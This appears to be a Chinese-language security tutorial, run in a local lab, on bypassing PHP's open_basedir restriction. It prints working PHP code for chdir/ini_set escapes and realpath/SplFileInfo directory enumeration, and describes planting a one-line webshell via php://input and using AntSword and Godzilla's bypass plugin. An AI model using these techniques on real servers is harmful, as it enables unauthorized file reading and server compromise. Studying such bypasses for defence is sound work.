15_open_basedir绕过

news2024/11/20 13:43:44

open_basedir绕过

一、了解open_basedir

1. 搭建环境

在test目录下存在一个open_basedir.php的文件
里面的php代码就是简单的文件包含或者ssrf,利用的是file_get_contents函数
open_basedir也就是在这种文件包含或者ssrf访问其它文件的时候生效
在这里插入图片描述
然后在www目录下再新建一个txt文件,里面内容随意
在这里插入图片描述

2. 未设立open_basedir

当没有设立open_basedir的时候,可以通过open_basedir.php访问到hello.txt文件里面的内容
在这里插入图片描述

3. 设立open_basedir

当在php.ini这个配置文件里面设立open_basedir的路径为test目录下的时候
修改完配置文件记得重启服务器
在这里插入图片描述
这时候再次通过open_basedir.php访问hello.txt的时候,报错
报错显示open_basedir限制生效,文件(…/hello.txt)不在允许的路径内
在这里插入图片描述

4. 总结

将两次结果对比,可以理解open_basedir的作用就是限制访问
如果设立在test目录下,那么就只能访问test目录下面的目录或者文件,其它目录下面的内容都无法访问

如果不设立open_basedir,任何目录下的内容都可以访问

二、动态设置open_basedir

大部分情况都不会直接修改配置文件

而是通过ini_set函数,动态的设置配置文件的值,一样可以实现限制的作用

两者的区别就在于
修改配置文件会对整个服务器生效,如果其它的文件含有文件包含,同样被限制,而且一修改就要重启服务器,那些大厂商就不可能这样去设定
而动态修改配置文件仅对当前文件生效,不需要重启服务器

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

三、命令执行绕过open_basedir

我们之前学过文件包含可以利用伪协议
我们在这里使用抓包试一下input伪协议在这里插入图片描述
发现在响应包里面,直接将我们写的php代码打印出来了
这里是因为这个file_get_content函数的原因

在这里插入图片描述
我们换成include 试试
在这里插入图片描述
发现成功解析
在这里插入图片描述
既然伪协议可以使用,那么利用input伪协议,写个一句话木马,然后蚁剑连接
在这里插入图片描述
请求体这里一定要写上一句话木马
在这里插入图片描述
成功连接蚁剑
在这里插入图片描述
但是发现打不开其它的目录,写着限制了
在这里插入图片描述
此时我们可以使用命令终端去查看文件,可以发现没有被限制
在这里插入图片描述

四、chdir绕过open_basedir

提供了下面的源代码,我们分析一下源代码,就可以理解为什么使用chdir可以绕过open_basedir限制在这里插入图片描述

<?php

ini_set('open_basedir',__DIR__);
//echo file_get_contents('../hello.txt');
mkdir('test1');
chdir('test1');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');

ini_set('open_basedir','./');
echo file_get_contents('C:\phpstudy_pro\WWW\hello.txt');

首先使用ini_set函数设置了open_basedir为当前目录
然后使用mkdir在当前目录下面创建一个test1目录
chdir函数作用相当于cd test1,也就是切换到test1目录
再使用ini_set将open_basedir设置为上一级目录,也就是test目录
然后多个chdir切换到上一级目录,理论上可以放n个,让它切换到根目录
最后设置open_basedir为当前目录,也就是根目录,对于windows来说就是C盘根目录
这样再使用文件包含打开其它目录下的文件就可以访问了,没有open_basedir限制了
在这里插入图片描述

五、realpath绕过open_basedir

上面讲的都是可以绕过open_basedir查看文件内容
那么怎么能够绕过open_basedir查看目录下都有哪些文件
这样我们就可以知道要查看那个文件了

<?php
ini_set('open_basedir', __DIR__);
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
ini_set('error_reporting', E_ALL);
set_error_handler('judgePathExist');
$dir = 'C:/phpStudy_pro/WWW/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
    $file = $dir . $chars[$i] . '<><';
    realpath($file);
}
function judgePathExist($errno, $errstr)
{
    $regexp = '/File\((.*)\) is not within/';
    preg_match($regexp, $errstr, $matches);
    if (isset($matches[1])) {
        printf("%s <br/>", $matches[1]);
    }
}
//echo 1;
?>

在这里插入图片描述
从结果看出,获得了www目录下的所有文件
那么我们分析一下代码,理解是如何呈现出来的
分析源代码之前,我们先来看一下realpath函数的这个特性

首先我们设置了open_basedir为当前目录,并且打印出来确认一下
然后设置报错为报告所有的错误
然后在文件开头字母后面拼接上<><,我自己也试了<符合也是可以的
在这里插入图片描述
我们查看结果,页面上成功在设置open_basedir的前提下,报错出存在的e开头的目录或者文件
在这里插入图片描述
了解了这个之后我们再去分析源代码
开头这些部分就是通过for循环去列举C:/phpStudy_pro/WWW/可能存在的文件,拼接上<><,当使用realpath的时候,会报错,显示出文件或目录的全称

在这里插入图片描述

重点在set_error_handler函数,这个函数是用来设置错误句柄
当报错的时候,就会自动触发judgePathExist函数

这个judgePathExist函数作用就很明显了,将报错中的目录或文件名利用正则替换,给它拿出来,再判断是否存在这个文件或目录,如果存在就打印在页面上

这样就做到了绕过open_basedir查看目录详情,而目录是可以自己设置的
所以就可以知道所有的文件
在这里插入图片描述
但是这里有个局限性,比如说e开头的目录或文件,如果有多个,但是他只会报错出一个

只能做到枚举特定目录下的文件 但是不全
在这里插入图片描述

六、SplFileInfo下的getrealpath函数绕过open_basedir

上面的realpath绕过方法不全
这个方法就可以获取同字母开头的多个文件或目录,相对来说算是齐全的

但是我发现i开头的文件或目录还是不太全

这个方法也没什么好讲的
主要记住SplFileInfo类下的getrealpath函数不受open_basedir限制就行
在这里插入图片描述

<meta charset="utf-8">
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
$basedir = $_GET['file'];
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_.';
$s = '';
$arr = array("\\");
$resut = array();
for ($j = 1; $j < 8; $j++)//可能开头$j位相同
{
    for ($i = 0;
         $i < strlen($chars);
         $i++) {
        foreach ($arr

                 as $value) {
            $info = new SplFileInfo($basedir . "\\" . $value . $chars[$i] . '<><');
            $re = $info->getRealPath();
            if ($re) {
                if (!in_array($re, $resut)) {
                    array_push($resut, $re);
                }
                $re = substr($re, strripos($re, "\\") + 1, $j);
                $s = $s . '|' . $re;
//                echo $s . '<br/>';
                ob_flush();
                flush();
            }
        }
    }
    $arr = explode('|', $s);
}
print("result is here:<br>");
foreach ($resut as $value) {
    echo $value . "<br>";
}
?>

记得传一个目录参数file

在这里插入图片描述

七、godzilla(哥斯拉)绕过open_basedir

哥斯拉是一个类似于蚁剑的webshell工具
主要使用的是哥斯拉的插件,一键绕过open_basedir,很方便

先准备一个环境
php.ini设置open_basedir为test目录
确保文件包含无法访问hello.txt内容

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

然后准备一个一句话木马,用于哥斯拉连接webshell
在这里插入图片描述
最后打开哥斯拉
在这里插入图片描述
在这里插入图片描述
再添加目标之前,先将php.ini得到open_basedir设置为空
否则无法连接哥斯拉
在这里插入图片描述

在这里插入图片描述
这里如果不知道该怎么选择这些选项,可以通过抓包判断,比如这个pass和key到底改选择哪个是一句话的密码

将哥斯拉的代理修改为http的8081端口,也就是burp的代理
点击测试连接,将流量包截取到,发现pass的值是带有eval的
因此pass就是一句话的密码
在这里插入图片描述

在这里插入图片描述
点击添加之后,右键进入管理页面
在这里插入图片描述
选择文件管理
在这里插入图片描述
此时我们的其它目录文件是可以打开的,因为没有设置open_basedir
在这里插入图片描述
再次设置open_basedir
在这里插入图片描述
然后可以看到被open_basedir限制住了
在这里插入图片描述
上面有个ByPassOpenBasedir功能,直接选择点击,再次返回文件管理,发现可以查看其它目录文件了
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/191259.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

(隐私计算)联邦学习概述

一、是什么 概念 联邦学习&#xff08;Federated Learning&#xff0c;FELE&#xff09;是一种打破数据孤岛、释放 AI 应用潜能的分布式机器学习技术&#xff0c;能够让联邦学习各参与方在不披露底层数据和底层数据加密&#xff08;混淆&#xff09;形态的前提下&#xff0c;…

Unity-TCP-网络聊天功能(一): API、客户端服务器、数据格式、粘包拆包

1.TCP相关API介绍与服务端编写TCP是面向连接的。因此需要创建监听器&#xff0c;监听客户端的连接。当连接成功后&#xff0c;会返回一个TcpClient对象。通过TcpClient可以接收和发送数据。VS创建C# .net控制台应用项目中创建文件夹Net&#xff0c;Net 下添加TCPServer.cs类&am…

界面组件DevExtreme v22.2亮点——UI模板库升级换代!

DevExtreme拥有高性能的HTML5 / JavaScript小部件集合&#xff0c;使您可以利用现代Web开发堆栈&#xff08;包括React&#xff0c;Angular&#xff0c;ASP.NET Core&#xff0c;jQuery&#xff0c;Knockout等&#xff09;构建交互式的Web应用程序。从Angular和Reac&#xff0c…

高频链表算法

1.从尾到头打印链表值 输入一个链表的头节点&#xff0c;从尾到头反过来返回每个节点的值(用数组返回) 思路 &#xff08;1&#xff09;如果使用数组来保存反转之后的链表数据&#xff0c;这样只需要使用到队列或栈的知识&#xff0c;关键是unshif和push,reverse函数 &…

【vue2】vuex基础与五大配置项

&#x1f973;博 主&#xff1a;初映CY的前说(前端领域) &#x1f31e;个人信条&#xff1a;想要变成得到&#xff0c;中间还有做到&#xff01; &#x1f918;本文核心&#xff1a;vuex基础认识、state、getters、mutations actions、modules使用 目录(文末原素材) 一、…

【JavaEE初阶】第九节.多线程 (基础篇)定时器(案例三)

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 前言 一、定时器概述、 二、定时器的实现 2.1 Java标准库 定时器的使用 2.2 自己模拟实现一个定时器 2.3 对自己实现的定时器的进一步优化 2.3.1 为何需要再进行优化 2…

CMOS图像传感器——了解光圈

在之前有提到传感器英寸,也提到了曝光三要素之一的ISO,这里主要说明另外一个曝光三要素——光圈。在本文中,我们将介绍光圈及其工作原理。 一、什么是光圈 光圈可以定义为镜头中的开口,光线通过该开口进入相机。类比眼睛是的工作原理,就容易理解了:当人在明亮和黑暗的环…

【链表之单链表】

前言&#xff1a;链表是什么&#xff1f; 链表的操作 1.单链表的结构 2.头文件的包含 3.动态申请一个节点 4.单链表打印 5.单链表尾插 6.单链表头插 7.单链表尾删 8.单链表头删 9.单链表查找 10.单链表在pos位置之后插入x 11.单链表在pos位置之前插入x 12. 单链表…

【数据挖掘】基于粒子群算法优化支持向量机PSO-SVM对葡萄酒数据集进行分类

1.粒子群算法的概念 PSO是粒子群优化算法&#xff08;Particle Swarm Optimization&#xff09;的英文缩写&#xff0c;是一种基于种群的随机优化技术&#xff0c;由Eberhart和Kennedy于1995年提出。粒子群算法是模仿昆虫、兽群、鸟群和鱼群等的群集行为&#xff0c;这些群体按…

中国电子学会2021年03月份青少年软件编程Scratch图形化等级考试试卷三级真题(含答案)

2021-03Scratch三级真题 分数&#xff1a;100题数&#xff1a;38 一、单选题(共25题&#xff0c;每题2分&#xff0c;共50分) 1.在《采矿》游戏中&#xff0c;当角色捡到黄金时财富值加1分&#xff0c;捡到钻石时财富值加2分&#xff0c;下面哪个程序实现这个功能&#xff1…

【软件测试】资深测试总结的测试必备8点,堪称测试人的好莱坞大片......

目录&#xff1a;导读前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09;前言 测试8板斧。测试8板…

Task8:Excel的数据可视化

目录一 条形图二 条件单元格格式三 迷你图四 练习题一 条形图 【例子】直观的展示销售额之间的差别 方法&#xff1a;【开始】–>【条件格式】–>【数据条】 【只想显示条形图&#xff0c;不想显示金额】 1.条形图区域—>条件格式—>管理规则 2.选择设置的规则&a…

单应性Homography梳理,概念解释,传统方法,深度学习方法

Homography 这篇博客比较清晰准确的介绍了关于刚性变换&#xff0c;仿射变换&#xff0c;透视投影变换的理解 单应性变换 的 条件和表示 用 [无镜头畸变] 的相机从不同位置拍摄 [同一平面物体] 的图像之间存在单应性&#xff0c;可以用 [透视变换] 表示 。 opencv单应性变换求…

Active Directory计算机备份和恢复

在Active Directory&#xff08;AD&#xff09;环境中&#xff0c;用户通过域中的计算机认证他们自身。从AD中删除这些计算机账户时&#xff0c;系统也会自动从域中删除它们。于是&#xff0c;用户不能再通过些计算机登录网络。为允许用户访问域资源&#xff0c;必须恢复这些已…

聚集千百个企业管理系统的API资产,打造API资产全生命周期一站式集成体验

API——接口&#xff0c;作为软件世界中的连接服务和传输数据的重要管道&#xff0c;已经成为数字时代的新型基础设施&#xff0c;是各领域驱动数字变革的重要力量之一。传统企业集成主要采用点对点或ESB集成方式&#xff0c;基于全新API战略中台的API新型集成方式通过解耦系统…

SpringBoot跨域请求解决方案详细分析

跨域的定义 跨域是指不同域名之间的相互访问&#xff0c;这是由浏览器的同源策略决定的&#xff0c;是浏览器对JavaScript施加的安全措施&#xff0c;防止恶意文件破坏。同源策略&#xff1a;同源策略是一种约定&#xff0c;它是浏览器最核心的也是最基本的安全策略&#xff0…

【数据产品】缓存设计

背景&#xff1a;为什么需要做缓存&#xff1f; 我所做的产品的指标设计越来越复杂&#xff0c;查询性能也随之下降。因此需要增加缓存层&#xff0c; 以提高接口查询效率。 哪些层需要做缓存&#xff1f; 随着指标系统的应用&#xff0c;该产品的查询逻辑也越来越简单&…

二分查找核心思路--单调性--极值

在最初的二分查找中&#xff0c;我们将一组数据按大小排序&#xff0c;然后根据arr[mid]与要查找的k的大小比较&#xff0c;从而每次去掉一半的数字&#xff0c;使时间复杂度简化为O&#xff08;logN&#xff09;。 排序本质上是让数据的单调性统一&#xff0c;变为单增或单减…

spring中的JSR-303统一校验

1.在前后端的传输参数的过程中数据在何处校验? 在前后端都需要进行校验,只是分工不同. 2.各个层的校验内容: 1.Controller层主要负责校验残水的合法性,包括: 必填的参数字段,数据格式的校验 2.Service层的业务校验是审核业务中的规则的相关内容,比如:课程已经审核通过所以提…

vue3 为何比 vue2 快

vue3 为何比 vue2 快 测试环境&#xff1a;https://vue-next-template-explorer.netlify.app/ 1、proxy 响应式 vue3 优缺点&#xff1a; 深度监听性能更好可监听 新增 / 删除 属性可监听数组变化Proxy 能规避 Object.defineProxy 的问题Proxy 无法兼容所有浏览器&#xff…